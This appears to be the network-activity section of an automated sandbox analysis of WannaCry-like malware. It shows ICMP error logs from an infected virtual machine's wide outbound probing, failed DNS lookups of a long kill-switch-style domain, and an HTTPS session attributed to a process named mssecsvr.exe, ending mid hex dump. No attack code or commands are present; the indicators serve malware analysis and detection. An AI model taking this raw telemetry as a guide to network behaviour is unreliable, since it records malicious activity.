Jul 20, 2022 13:24:40.270927906 CEST	81.236.64.58	192.168.2.7	c6ac	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:41.449947119 CEST	88.72.144.213	192.168.2.7	a531	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:45.921689987 CEST	77.1.76.145	192.168.2.7	ce4b	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:50.739667892 CEST	85.111.26.206	192.168.2.7	a2ee	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:51.819928885 CEST	85.111.26.206	192.168.2.7	a2ef	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:52.899935961 CEST	85.111.26.206	192.168.2.7	a2f0	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:53.979882002 CEST	85.111.26.206	192.168.2.7	a2f1	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:54.751266003 CEST	161.247.129.30	192.168.2.7	a044	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:24:54.778973103 CEST	81.28.248.154	192.168.2.7	f1df	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:24:55.050298929 CEST	85.111.26.206	192.168.2.7	a2f2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:56.262489080 CEST	180.252.1.74	192.168.2.7	b263	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:24:57.236684084 CEST	24.231.77.47	192.168.2.7	25df	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:58.122482061 CEST	144.224.17.90	192.168.2.7	fb10	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:24:59.543382883 CEST	12.89.4.22	192.168.2.7	a7cd	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:05.042097092 CEST	149.224.51.114	192.168.2.7	c674	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:05.227921009 CEST	197.148.72.1	192.168.2.7	5791	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:06.359229088 CEST	79.193.83.202	192.168.2.7	94f	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:09.114244938 CEST	12.90.210.122	192.168.2.7	45c7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:09.607600927 CEST	10.100.2.4	192.168.2.7	9f42	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:11.629060984 CEST	87.171.202.3	192.168.2.7	bb11	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:11.904169083 CEST	81.96.230.42	192.168.2.7	7a6b	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:14.305916071 CEST	45.167.1.18	192.168.2.7	2712	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:15.195492983 CEST	89.75.4.2	192.168.2.7	156e	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:16.303138971 CEST	93.217.153.121	192.168.2.7	f12e	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:20.945885897 CEST	116.193.80.142	192.168.2.7	b34b	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:25:27.700768948 CEST	124.254.93.138	192.168.2.7	22e5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:31.275734901 CEST	38.55.46.196	192.168.2.7	14c7	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:32.522052050 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:32.525103092 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:32.948575974 CEST	140.128.251.97	192.168.2.7	7650	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:35.537772894 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:37.456240892 CEST	88.66.136.150	192.168.2.7	8465	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:37.597573996 CEST	162.252.88.13	192.168.2.7	d9b	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:40.999025106 CEST	43.135.31.22	192.168.2.7	6ca8	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:41.726937056 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:41.898516893 CEST	89.75.7.17	192.168.2.7	74a	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:46.462371111 CEST	212.118.242.14	192.168.2.7	f6a6	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:49.849740982 CEST	38.126.144.18	192.168.2.7	d48c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:25:52.268587112 CEST	100.96.0.11	192.168.2.7	f03d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:55.417335987 CEST	85.111.26.206	192.168.2.7	a327	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:55.429030895 CEST	92.214.202.119	192.168.2.7	7fd7	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:55.541167974 CEST	217.170.96.37	192.168.2.7	8f9	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:56.497292042 CEST	85.111.26.206	192.168.2.7	a328	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:56.752418041 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:57.538285017 CEST	59.157.3.250	192.168.2.7	fece	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:57.577462912 CEST	85.111.26.206	192.168.2.7	a329	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:57.648974895 CEST	77.1.5.164	192.168.2.7	5045	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:58.087938070 CEST	177.201.94.10	192.168.2.7	6643	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:25:58.638942003 CEST	85.111.26.206	192.168.2.7	a32a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:25:59.759186029 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:25:59.883172989 CEST	23.58.136.190	192.168.2.7	5fcd	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:00.075939894 CEST	164.138.99.163	192.168.2.7	c7f9	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:01.085298061 CEST	109.3.36.238	192.168.2.7	22	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:26:02.234251022 CEST	36.255.158.10	192.168.2.7	1d14	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:02.616107941 CEST	76.81.183.222	192.168.2.7	c3ff	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:05.657318115 CEST	24.51.243.246	192.168.2.7	3ec8	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:26:05.666120052 CEST	103.80.121.250	192.168.2.7	97c0	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:26:05.758964062 CEST	38.55.46.2	192.168.2.7	1405	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:06.954821110 CEST	216.237.243.16	192.168.2.7	8bc7	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:09.099766016 CEST	95.232.87.63	192.168.2.7	57e1	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:11.458328962 CEST	218.248.61.61	192.168.2.7	f640	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:12.659300089 CEST	85.111.26.206	192.168.2.7	a337	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:13.265685081 CEST	79.179.212.95	192.168.2.7	e3e7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:13.386152983 CEST	108.167.138.150	192.168.2.7	358c	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:13.672544956 CEST	92.212.70.86	192.168.2.7	20ab	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:13.729178905 CEST	85.111.26.206	192.168.2.7	a338	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:14.729530096 CEST	94.36.117.210	192.168.2.7	7ec4	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:14.839705944 CEST	85.111.26.206	192.168.2.7	a339	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:15.899653912 CEST	85.111.26.206	192.168.2.7	a33a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:16.467844963 CEST	37.44.7.166	192.168.2.7	ea8a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:18.012319088 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:18.046612978 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:21.051721096 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:21.300182104 CEST	85.111.26.206	192.168.2.7	a33f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:22.243772984 CEST	78.111.215.36	192.168.2.7	b416	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:22.381491899 CEST	85.111.26.206	192.168.2.7	a340	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:23.471864939 CEST	85.111.26.206	192.168.2.7	a341	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:23.815385103 CEST	204.111.0.250	192.168.2.7	b643	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:23.993221998 CEST	121.78.68.137	192.168.2.7	46e5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:26:24.540631056 CEST	85.111.26.206	192.168.2.7	a342	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:27.050990105 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:27.907776117 CEST	91.43.155.101	192.168.2.7	1fa	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:28.133610964 CEST	93.208.148.67	192.168.2.7	adea	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:29.425977945 CEST	217.95.146.68	192.168.2.7	dcbb	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:29.482283115 CEST	199.18.16.66	192.168.2.7	df78	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:29.911547899 CEST	85.111.26.206	192.168.2.7	a347	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:30.981259108 CEST	85.111.26.206	192.168.2.7	a348	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:31.671036959 CEST	149.6.114.85	192.168.2.7	6dac	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:26:32.061300993 CEST	85.111.26.206	192.168.2.7	a349	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:32.858531952 CEST	50.220.200.185	192.168.2.7	5c95	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:33.141477108 CEST	85.111.26.206	192.168.2.7	a34a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:33.873392105 CEST	149.14.159.114	192.168.2.7	1c71	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:37.394572973 CEST	201.117.239.110	192.168.2.7	5554	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:26:42.082948923 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:42.207140923 CEST	187.115.223.106	192.168.2.7	f956	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:44.113610029 CEST	87.143.177.156	192.168.2.7	354d	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:45.191304922 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:49.236089945 CEST	94.27.140.45	192.168.2.7	aa1d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:49.955573082 CEST	45.38.241.156	192.168.2.7	de8e	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:51.191468000 CEST	38.55.46.3	192.168.2.7	1406	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:52.969997883 CEST	192.168.35.135	192.168.2.7	d141	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:26:54.238843918 CEST	5.56.18.166	192.168.2.7	e2ab	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:57.094170094 CEST	107.149.144.158	192.168.2.7	bbff	(Unknown)	Destination Unreachable
Jul 20, 2022 13:26:57.905895948 CEST	192.210.140.207	192.168.2.7	d6e	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:02.366121054 CEST	217.250.200.98	192.168.2.7	7872	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:03.442538023 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:03.445255041 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:04.452224016 CEST	162.144.240.119	192.168.2.7	e3b5	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:04.908658028 CEST	210.133.101.138	192.168.2.7	41d2	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:27:06.461762905 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:08.060679913 CEST	91.7.244.162	192.168.2.7	2cc	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:12.459671974 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:23.818288088 CEST	84.172.182.158	192.168.2.7	694b	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:23.840591908 CEST	185.66.57.12	192.168.2.7	7ab9	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:27.556560993 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:30.572226048 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:30.597919941 CEST	77.20.67.8	192.168.2.7	e7fd	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:30.838174105 CEST	146.83.244.21	192.168.2.7	64b0	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:32.912050009 CEST	82.82.115.74	192.168.2.7	f9c4	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:36.430866957 CEST	5.56.18.166	192.168.2.7	2e6d	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:36.585838079 CEST	38.55.46.4	192.168.2.7	1407	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:38.767946959 CEST	88.240.248.126	192.168.2.7	5663	(Port unreachable)	Destination Unreachable
Jul 20, 2022 13:27:40.489048004 CEST	69.196.175.82	192.168.2.7	8320	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:27:44.984374046 CEST	145.40.93.175	192.168.2.7	e0c2	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:27:45.302576065 CEST	85.111.26.206	192.168.2.7	a37e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:46.360016108 CEST	85.111.26.206	192.168.2.7	a37f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:47.440248966 CEST	85.111.26.206	192.168.2.7	a380	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:47.447063923 CEST	94.27.140.95	192.168.2.7	aa4f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:48.520162106 CEST	85.111.26.206	192.168.2.7	a381	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:48.820614100 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:48.821553946 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:49.490411997 CEST	185.11.208.254	192.168.2.7	62bc	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:27:49.602112055 CEST	85.111.26.206	192.168.2.7	a382	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:51.837814093 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:52.211240053 CEST	202.169.252.238	192.168.2.7	7c8d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:56.252588034 CEST	172.25.101.142	192.168.2.7	facb	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:56.290936947 CEST	84.235.60.131	192.168.2.7	fa01	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:27:57.853014946 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:27:57.907430887 CEST	77.109.142.251	192.168.2.7	a3f6	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:27:59.308727980 CEST	23.241.37.191	192.168.2.7	70fc	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:28:01.719590902 CEST	190.131.207.3	192.168.2.7	ea7c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:28:01.837899923 CEST	210.249.210.123	192.168.2.7	b1d8	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:28:02.959460974 CEST	62.253.129.30	192.168.2.7	281	(Unknown)	Destination Unreachable
Jul 20, 2022 13:28:03.114880085 CEST	202.65.247.26	192.168.2.7	9	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:28:07.318703890 CEST	93.194.6.186	192.168.2.7	5b1e	(Unknown)	Destination Unreachable
Jul 20, 2022 13:28:09.591505051 CEST	140.110.155.235	192.168.2.7	e453	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:28:10.801328897 CEST	82.8.209.30	192.168.2.7	a2e8	(Unknown)	Destination Unreachable
Jul 20, 2022 13:28:12.005436897 CEST	186.1.145.33	192.168.2.7	c108	(Net unreachable)	Destination Unreachable
Jul 20, 2022 13:28:12.870580912 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:28:15.887849092 CEST	38.55.46.5	192.168.2.7	1408	(Unknown)	Destination Unreachable
Jul 20, 2022 13:28:16.839569092 CEST	189.117.248.169	192.168.2.7	75f2	(Port unreachable)	Destination Unreachable
Jul 20, 2022 13:28:19.405615091 CEST	189.117.248.169	192.168.2.7	75f2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 13:23:44.036887884 CEST	192.168.2.7	8.8.8.8	0x27a9	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 13:23:45.344563961 CEST	192.168.2.7	8.8.8.8	0x972a	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 13:23:47.833285093 CEST	192.168.2.7	8.8.8.8	0xaea2	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 13:23:44.055915117 CEST	8.8.8.8	192.168.2.7	0x27a9	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 13:23:45.361457109 CEST	8.8.8.8	192.168.2.7	0x972a	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 13:23:47.857326984 CEST	8.8.8.8	192.168.2.7	0xaea2	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

store-images.s-microsoft.com

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

sls.update.microsoft.com

ris.api.iris.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49725	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:32 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202320Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=08680fd03fc64c44b93c85c82a591cdf&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: vztfcoan+0Ck02PT.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:23:32 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=666 Content-Length: 53756 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: LRhfqdQyJFb9s0T1IQi6x0aN9nQnuwxyVSfAjYKCljF/SWohdZ6wcPPc6OKreJSbTpQTlJAGD/2f148+BjsSVIicWr6c6LjuJACCurIh3Ske43IFx3hzXr76AnYIxmFPKNEASsEtyq3QTHTNyQINSLdgSBzrfLZrIHnoIsbt0vvZDfkPVRI97JoQK5uQIcQTRNnPsv0TWvFgK9JVwrYVk8407ZLuL/YcGJLmYAYF9lNDgkwfFo7OR+pPV3SklcvdJQxj+tGzyt8kh4tBt5DRRA9DnBaTF/zH+T5yTS7g8JjroKOuHDNjL0TggklXI5IfEWZz3EwM6Ka0mYcJ6H9BCg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:23:32 GMT Connection: close
2022-07-20 11:23:32 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 11:23:32 UTC	19	IN	Data Raw: 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 36 36 34 38 38 66 64 35 37 64 61 63 34 37 34 64 61 37 38 37 33 31 64 64 61 36 33 36 39 32 65 63 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c Data Ascii: ":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=66488fd57dac474da78731dda63692ec&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},
2022-07-20 11:23:32 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 35 34 32 30 39 37 63 33 33 33 61 37 34 32 37 31 62 61 30 32 66 35 37 38 37 39 36 39 64 35 34 32 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=542097c333a74271ba02f5787969d542&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-20 11:23:32 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 